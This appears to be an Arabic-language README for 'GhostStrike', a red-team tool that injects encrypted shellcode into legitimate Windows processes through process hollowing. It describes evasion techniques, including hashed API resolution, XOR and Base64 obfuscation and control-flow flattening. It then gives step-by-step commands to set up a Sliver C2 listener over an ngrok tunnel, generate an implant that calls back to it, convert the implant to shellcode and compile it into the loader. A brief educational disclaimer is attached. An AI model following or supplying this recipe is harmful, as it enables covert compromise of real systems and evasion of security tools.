GhostStrike ⚔️

GhostStrike هي أداة متقدمة للأمن السيبراني مصممة لعمليات الفريق الأحمر (Red Team)، وتتميز بتقنيات متطورة لتفادي الكشف وتنفيذ تقنية تجويف العمليات (Process Hollowing) على أنظمة Windows.

---

✨ الميزات

• تحليل واجهات API الديناميكي: يستخدم طريقة مخصصة قائمة على التجزئة (hash) لتحليل واجهات Windows API ديناميكيًا، مما يتجنب الكشف بواسطة أدوات الأمان القائمة على التوقيعات.
• ترميز وفك ترميز Base64: يرمّز ويفك ترميز الشيفرة الصدفية (shellcode) لإخفاء وجودها في الذاكرة، مما يجعل اكتشافها أصعب على أدوات التحليل الساكن.
• توليد المفاتيح التشفيرية: يولّد مفاتيح تشفيرية آمنة باستخدام واجهات Windows للتشفير لتشفير وفك تشفير الشيفرة الصدفية، مما يضيف طبقة حماية إضافية.
• تشفير وفك تشفير XOR: تشفير بسيط لكنه فعّال قائم على XOR لحماية الشيفرة الصدفية أثناء عملية حقنها.
• تسطيح تدفق التحكم (Control Flow Flattening): يطبّق تسطيح تدفق التحكم لتمويه مسار التنفيذ، مما يعقّد التحليل بواسطة أدوات التحليل الساكن والديناميكي على حد سواء.
• تجويف العمليات (Process Hollowing): يحقن شيفرة صدفية مشفّرة داخل عملية Windows شرعية، مما يسمح لها بالتنفيذ خفية دون إثارة الشكوك.

---

⚙️ الإعداد

يمكنك إعداد GhostStrike باتباع الخطوات التالية:

1. إنشاء خدمة Ngrok: ngrok tcp 443
2. توليد برنامج Sliver C2 Implant: generate --mtls x.tcp.ngrok.io --save YourFile.exe
3. إنشاء مستمع (Listener): mtls --lhost 0.0.0.0 --lport 443
4. التحويل إلى ‎.bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
5. التحويل إلى شيفرة صدفية C++: xxd -i YourFile.bin > YourFile.h
6. استيراد YourFile.h إلى هذا الكود
7. قم بالتصريف واستمتع! 🚀

---

💻 المتطلبات

• مترجم C++: أي مترجم C++ حديث، مثل g++ أو clang++ أو Visual Studio، كافٍ لتصريف الكود.

لا حاجة إلى أي تبعيات إضافية لبناء GhostStrike. ما عليك سوى تصريف الكود المصدري باستخدام مترجم C++ المفضّل لديك، وستكون جاهزًا للانطلاق!

---

⚠️ إخلاء المسؤولية

هذه الأداة مخصصة حصريًا للأغراض التعليمية وللاستخدام في بيئات خاضعة للرقابة. يُحظر تمامًا الاستخدام غير المصرّح به لـ GhostStrike خارج هذه البيئات. لا يتحمل المؤلف، @Stiven.Hacker، أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا الكود.

---

🎥 عرض توضيحي

شاهد عرضًا حيًا لـ GhostStrike أثناء العمل على LinkedIn:

مشاهدة العرض التوضيحي